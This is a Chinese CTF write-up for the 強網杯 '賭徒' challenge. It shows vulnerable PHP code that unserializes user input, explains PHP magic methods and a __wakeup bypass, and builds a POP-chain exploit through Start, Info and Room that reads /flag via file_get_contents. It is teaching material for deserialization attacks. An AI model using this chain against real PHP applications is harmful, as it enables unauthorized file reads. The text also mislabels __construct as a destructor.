[強網杯]賭徒


0x00 賽題復現

敏感目錄掃描得到www.zip

<?php
error_reporting(1);
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;//new Info()
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;//new Room() 
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){//當腳本嘗試將對象調用為函數時觸發
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}
?>

代碼審計

  觀察代碼可以發現使用了很多用於序列化的魔術方法,比如__invoke,__get,__construct,__wakeup函數。如果不了解這些函數的用法,理解這整個流程還是比較困難的。

首先是對每個方法的調用方式進行介紹。

__invoke函數 - 以調用函數的方式調用對象時,該函數執行 適用於php版本大於5.3.0

舉個例子
代碼

<?php
highlight_file('invoke.php');
class Student
{
	public $id;
	public $name;
	public $sex;
	public function __invoke(){
		echo 'do not do this';
	}
}
$a=new Student;
$a();

運行結果

當類對象作為函數執行時 會自動調用原類中的__invoke方法

__get函數 - 用來獲取私有成員屬性值的,有一個參數,參數傳入你要獲取的成員屬性的名稱,返回獲取的屬性值

<?php
highlight_file("get.php");
代碼
class Person
{
	public $sex='Porn';
	public $name='HUB';
	private $ty='666';

	public function __get($name){
		return '調用成功'.$name;
	}
	
}
$p=new Person;
echo $p->sex;
echo $p->st;

運行結果

可以看到當調用一個不存在的屬性時,會自動調用__get方法。

__construct函數 -析構函數,在創建對象時觸發,有點像構造函數。
代碼

<?php
highlight_file("construct.php");
class Person
{
	public $name;
	public $age;
	public function __construct($name,$age){
		$this->name=$name;
		$this->age=$age;
	}
}
$t=new Person("hacker","11");
echo $t->name;

運行結果

wakeup函數 - 在反序列化過程中,如果存在wakeup函數會優先調用wakeup函數
繞過wakeup方法很簡單,定義變量時 定義的變量數大於存在的變量數即可

<?php
highlight_file("wakeup.php");
class Person
{
	public $name;
	public $age;
	public function __construct($name,$age){
		$this->name=$name;
		$this->age=$age;
	}
	public function __wakeup(){
		echo 'hacker!!!';
	}
	
}
$t=new Person("hacker","11");

echo unserialize('O:6:"Person":2:{s:4:"name";s:6:"hacker";s:3:"age";s:2:"11";}');


成功繞過

構造該題EXP
先進行測試


發現我們的序列化字符串 傳過去后 能夠通過 Start 類中的_sayhello() 進行輸出

這里因為沒有原題環境 小改一下

<?php
error_reporting(1);
highlight_file('unserialize.php');
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;//new Info()
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;//new Room() 
        return $function();
    }

    public function Get_hint($file){
        //$hint=base64_encode(file_get_contents($file));
        $hint="flag={agwasagaa1yaga}";  //我們只要輸出這個就算成功
        echo $hint;
        return ;
    }

    public function __invoke(){  //當腳本嘗試將對象調用為函數時觸發
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}
?>

根據代碼可以知道 真正需要進行輸出的是第三個類,我們必須想辦法,讓我們的第一個類里包含到第三個類。
這里注意到第三個類里面有一個get函數,怎么利用呢?
如果通過Start類直接去調用Room類,那么get方法不會觸發,不行。
如果自己去構造的話是沒法讓構造的類自己去執行里面的方法的。 因為畢竟最后需要通過invoke方法進行輸出,而invoke方法需要被當成函數去調用時才會執行。

反序列化被解析時 時 從最外面的類一直跟進到里面的類。
我們進行序列化字符串分析時,可以從后往前推進。
這里主要思路是通過第一個類 把第三個類里的關鍵信息帶出來。

所以先對第三個類進行分析。

首先是__invoke方法的調用,必須存在類對象被當作函數調用才能執行invoke函數,而顯然我們不能把調用類對象的代碼進行序列化代入進去。
所以我們需要找哪里將類對象當成函數執行,
直接跟進到
get方法實現了將$this->a作為函數執行,說明我們只需要讓$this->a作為一個類對象就行了因為是要調用Room類的invoke 所以$this->a=new Room();
但是要滿足這個條件之前,我們需要先滿足get方法,而get的條件是調用不存在的變量時被執行。 哪里能有不存在的變量?

可構造

$b=new Info;
$c=new Room;
$b->file['filename']=$c 

然后如果我們調用了Info類,則會自動調用__toString方法,方法被執行時,這時$c->ffiillee['ffiilleennaammee'] 並不存在,返回前會執行 $c里的get方法,而執行get方法時,$this->a為類對象,然后被當作函數執行,調用invoke函數執行。
最后我們通過Start類中的name變量將Info的返回值帶出來顯示在頁面上。

所以可構造最后的exp;

<?php
class Start{} // 空類
class Info{} // 空類
class Room{
  public $filename="/flag"; //因為gethint函數需要參數,所以構造的時候不能少了這個變量
}
$a=new Start;
$b=new Info;
$c=new Room;
// 構造a
$c->a=new Room; //將類對象放到c類對象中的a里保存.
$b->file['filename']=$c;  //將c類賦值到b類的file['filename']屬性中 確保get執行.
$a->name=$b; //將執行后的結果賦值到a類中的name屬性
echo serialize($a); //序列化
?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM